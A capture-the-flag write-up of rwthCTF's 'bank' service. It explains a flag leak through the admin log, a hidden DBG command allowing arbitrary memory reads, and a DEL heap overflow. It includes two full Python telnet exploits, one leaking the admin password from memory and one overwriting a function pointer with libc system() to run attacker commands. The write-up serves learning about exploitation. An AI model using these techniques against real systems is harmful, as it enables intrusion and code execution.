Although it was a little time ago, I felt motivated to do write-up of the bank service from rwthCTF. Also, I need to clear my head to continue writing a paper, thus.. here we go! 😉
He creates two users, logs into the service with the first created user and then transfers 1$ to the second created user – with the reference being the actual flag. Analogous to that, retrieving the gameserver works similarly – namely logging into the second account and printing the log. As the keen observer may already have seen is the fact that the flag is written to the log of the recipient as well as to the admin log. This actually is the first flaw in the system since all flags are stored into this admin log. Thus, logging in as the admin, we can get all the flags. Initially, the admin account was not registered and the first attacks we encountered actually first registered this account and then retrieved the log.
The fix in this case was simple (or so we and most other teams thought) – change the admin password. This fended off the waves of attacks that were fired against us and we could easily copy the exploit with which we were attacked.
Once we looked further into the binary, we found a function which we named switch_command that took the command (REGISTER, LOGIN, …) and hashed it. Afterwards, if the hash matched on of the predefined ones in the binary, the corresponding function pointer was returned. The following shows what IDA’s Decompiler (with a little structure and array magic) restored.
We see that there as some hidden functions which are not used by the gameserver and that are not listed in the HELP command, namely dbg, delete_transaction and admin_backdoor. dbg already screams vulnerability, so let’s look at that part then (again decompiled and annotated). The hash function was a bit complex, but trial-and-error gave us DBG and DEL immediately.
The binary actually did not use “normale” strings but some weird, self-implemented and encrypted type called fu_str (at least that’s what the asserts in the binary called it). What actually happens in this little piece of code is the transformation of the encrypted, user-provided data first to it’s unencrypted form and then – using atoi – the conversion to an integer. This integer is then used as a pointer in asprintf. It is then written back to the client – essentially allowing us to read arbitrary memory read access.
At this point, we need to take one step back. The underlying storage for flags and users was redis – a key-value store. On login, the service would first look up the username and if that existed, for the matching user, the password. Obviously, this means that at some point every password is in the memory in plain text! A little gdb magic helped us out here and showed that we could find our password a fixed address. However, we figured that (we and) other teams used ASLR to randomize address space. Luckily, in the main function, we found a lot of allocations of fustr structures assigned to global variables. Since global variables are (if un-initialized) in the BSS which is always fixed, reading an address from the BSS allows us get a base address for the heap!
Our exploit from that point was straight forward: use the DBG command to read the address from the BSS, add the fixed offset we know and then read memory as long as we do not see a \r (which ended the result that came from redis).
def main(): ip = sys.argv tn = telnetlib.Telnet(ip, 3270, 2) tn.read_until(">",2) tn.write("LOGIN Admin yomamma\n") tn.read_until(">",2), tn.write("DBG 134572876\n") addr = tn.read_until(">")[2:9] #print fillup(addr) addr = struct.unpack("!I", fillup(addr).decode("hex")) admin_pass = addr + 1020 offset = 0 print "Adress is at %x" % admin_pass recvd_password = "" while 1: tn.write("DBG %s\n" % (admin_pass + offset)) reply = tn.read_until(">") try: part = re.findall(":([a-f0-9]+)", reply) part = fillup(part) recvd_password += part.decode("hex")[::-1] except Exception, e: print e break if "\r" in recvd_password: break #raw_input("go") offset += 4 recvd_password = recvd_password.lstrip().rstrip()
This allowed us to easily recover the admin password and subsequently log in with it. We patched this by simple changing one byte in the hash that matched the dbg function pointer – thus removing the command from the protocol.
Things we found after the CTF..
During the CTF, we never got around to brute-forcing the hash for the admin backdoor. We later found that entering “bOQs” would have done the trick, but would have been noisy as hell and very, very easy to copy. We also figured that most teams would have changed the bytes for the admin backdoor as well..
The last (at least known to me) vulnerability was in the DEL command. To understand the vuln, we have to go into detail on the structure representing the fustr. Along with a pointer to character buffer and information like the length of the buffer, it also stored a pointer to the encryption function. Normally using the service, this encryption function pointer would be assigned to all strings equally. Ok, let’s take a look at DEL now..
Looking at the code, we quickly see that the right part of the split string (usage like DEL 1 aaaa) is written over the left, encrypted string. Looking at the memory, we can soon see that the buffer to the encrypted strings are allocated on the heap just as well as the fustr structs. If done properly, we can abuse this to overwrite the right string structure’s encryption pointer (see the fstr_decrypt(right) after the for-loop). A lot of testing later, we finally figured out how to exploit this to run system(“our code”); The exploits looks as follows – don’t mind the big number of padding at the end, I just wanted to ensure that the length of the complete string always remained the same so I could concentrate on the exploit rather than on the offsets 😉
import struct import re import telnetlib import sys target_len = 640 relative = 0x8057b40 - 0x8057128 # offsets in libc malloc_offset = 0x75460 system_offset = 0x3b990 tn = telnetlib.Telnet("10.22.8.1", 3270, 1) tn.read_until(">", 2) tn.write("DBG %d %d\n" % (0x08056A2C, 0x08056B4C)) result = tn.read_until(">", 2) (malloc, heap) = re.findall(":([0-9a-f]+)", result) # leak the address for malloc from libc and a fixed pointer on the heap print "malloc@libc %08x, heap: %08x" % (int(malloc, 16), int(heap, 16)) print "libc base %08x" % (int(malloc, 16) - malloc_offset) system = int(malloc, 16) - malloc_offset + system_offset enc_ptr = int(heap, 16) + relative enc_ptr = struct.pack("<I", enc_ptr) system = struct.pack("<I", system) tn.write("REGISTER foobar foobar\n") tn.read_until(">", 2) tn.write("LOGIN foobar foobar\n")‚ tn.read_until(">", 2) payload = ";" * (16 + 12) before_cmd = len(payload) payload += sys.argv remaining = 32 - (len(payload) - before_cmd) payload += ";" * remaining # pad it up payload += "\x01;;;" # strlen payload += "AAAA" # random payload += system # system payload += enc_ptr payload += "A" * (640 - len(payload)) command = "DEL 1 %s\n" % payload tn.write(command) tn.read_until("unimplemented", 2) tn.interact()
All in all, this was a great service. I’m quite sad that I did not focus more on the DEL exploit.